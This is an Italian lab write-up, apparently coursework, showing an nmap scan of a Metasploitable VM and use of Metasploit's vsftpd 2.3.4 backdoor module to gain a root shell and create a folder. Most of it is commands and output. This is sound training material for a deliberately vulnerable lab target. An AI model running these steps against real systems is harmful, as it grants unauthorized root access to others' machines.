HACKING CON METASPLOIT

Come da traccia impostiamo **192.168.1.149** come ip su Metasploit e poi apportiamo le doverose modifiche a Kali per far si che le macchine si trovino nella stessa rete e possano comunicare tra loro. Una volta riavviato controlliamo tramite ping che le macchine siano comunicanti e poi avviamo una scansione delle porte con **nmap**, controlliamo che la porta **21 sia aperta**.

```
┌──(kali㉿kali)-[~]
└─$ nmap -sV 192.168.1.149
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-12 05:50 EDT
Nmap scan report for 192.168.1.149
Host is up (0.00053s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
53/tcp   open  domain      ISC BIND 9.4.2
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp  open  rpcbind     2 (RPC #100000)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp  open  exec        netkit-rsh rexecd
513/tcp  open  login?
514/tcp  open  shell       Netkit rshd
1099/tcp open  java-rmi    GNU Classpath grmiregistry
1524/tcp open  bindshell   Metasploitable root shell
2049/tcp open  nfs         2-4 (RPC #100003)
2121/tcp open  ftp         ProFTPD 1.3.1
3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5
5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open  vnc         VNC (protocol 3.3)
6000/tcp open  X11         (access denied)
6667/tcp open  irc         UnrealIRCd
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
8180/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
Service Info: Hosts:  metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 66.24 seconds
```

Avviamo **msfconsole**.

```
┌──(kali㉿kali)-[~]
└─$ msfconsole
```


```
       =[ metasploit v6.3.19-dev                          ]
+ -- --=[ 2318 exploits - 1215 auxiliary - 412 post       ]
+ -- --=[ 1234 payloads - 46 encoders - 11 nops           ]
+ -- --=[ 9 evasion                                       ]

Metasploit tip: Use the analyze command to suggest
runnable modules for hosts
Metasploit Documentation: https://docs.metasploit.com/
```

Con il comando search andiamo a cercare **vsftpd**, l'exploit che ci interessa, possiamo notare che nella descrizione ci viene detto che è un comando di esecuzione di Backdoor

```
msf6 > search vsftpd

Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Check  Description
   -  ----                                  ---------------  ----       -----  -----------
   0  auxiliary/dos/ftp/vsftpd_232          2011-02-03       normal     Yes    VSFTPD 2.3.2 Denial of Service
   1  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  No     VSFTPD v2.3.4 Backdoor Command Execution


Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor
```

Per usare l'exploit usiamo il comando **use** seguito o dal nome completo o dal numero di riferimento nell'elenco, all'interno dell'exploit potremo andare a vedere le opzioni con **show options**, qui vediamo che è richiesto il targeto host sotto la voce **RHOST**.

```
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST                     no        The local client address
   CPORT                     no        The local client port
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][ ... ]
   RHOSTS                    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT    21               yes       The target port (TCP)


Payload options (cmd/unix/interact):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Exploit target:

   Id  Name
   --  ----
   0   Automatic


View the full module info with the info, or info -d command.
```

Per inserire l'ip del target host usiamo il comando **set RHOST** seguito dall'IP di Metasploit

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 192.168.1.149
RHOST => 192.168.1.149
```

Adesso andiamo a vedere i payloads disponibili, in questo caso ne è presente uno solo che verrà usato di default, se ce ne fossero stati di più avremmo potuto selezionare quello che ci interessava con il comando **set payload** seguito dal nome.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads

Compatible Payloads
===================

   #  Name                          Disclosure Date  Rank    Check  Description
   -  ----                          ---------------  ----    -----  -----------
   0  payload/cmd/unix/interact                      normal  No     Unix Command, Interact with Established Connection
```

Prima di lanciare l'attacco controlliamo sempre le opzioni di exploit e payload. In questo caso vediamo che l'RHOST adesso è aggiornato con l'indirizzo che gli abbiamo settato in precedenza e che per il payload non è necessario alcun parametro.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST                     no        The local client address
   CPORT                     no        The local client port
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][ ... ]
   RHOSTS   192.168.1.149    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT    21               yes       The target port (TCP)

Payload options (cmd/unix/interact):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Exploit target:

   Id  Name
   --  ----
   0   Automatic


View the full module info with the info, or info -d command.
```

Per lanciare l'attacco si usa il comando **exploit** o **run**

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.1.149:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[+] 192.168.1.149:21 - Backdoor service has been spawned, handling...
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.101:43211 → 192.168.1.149:6200) at 2023-06-12 05:58:08 -0400
```

La Shell è stata trovatra, siamo riusciti ad entrare, proviamo con **ifconfig** e vediamo che la macchina che abbiamo attaccato con successo è prorpio quella di Metasploid.

```
ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:86:18:45
          inet addr:192.168.1.149  Bcast:192.168.1.255  Mask:255.255.2
          inet6 addr: fe80::a00:27ff:fe86:1845/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:1502 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1543 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:120706 (117.8 KB)  TX bytes:128306 (125.2 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:205 errors:0 dropped:0 overruns:0 frame:0
          TX packets:205 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:56913 (55.5 KB)  TX bytes:56913 (55.5 KB)
```

Adesso andiamo a creare una cartella chiamata **test_metasploit** nella directory di root. Usiamo il comando **pwd** per capire dove ci troviamo, la risposta è **/ (root)** quindi non abbiamo bisogno di spostarci, creiamo una cartella con il comando **mkdir** (make directory) seguito dal nome che vogliamo darle, infine controlliamo con il comando **ls** la lista dei file presenti nella directory root e vediamo che è presente la nostra nuova cartella.

```
pwd
/
mkdir test_metasploit
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
test_metasploit
tmp
usr
var
vmlinuz
```

Possiamo controllare anche direttamente sulla macchina Metasploit, dalla home con il comando cd / ci spostiamo nella directory root, e poi con ls controlliamo che sia presente la cartella creata da Kali

```
msfadmin@metasploitable:/home$ cd /
msfadmin@metasploitable:/$ pwd
/
msfadmin@metasploitable:/$ ls
bin    dev    initrd      lost+found  nohup.out  root  sys            usr
boot   etc    initrd.img  media       opt        sbin  test_metasploit  var
cdrom  home   lib         mnt         proc       srv   tmp            vmlinuz
msfadmin@metasploitable:/$ _
```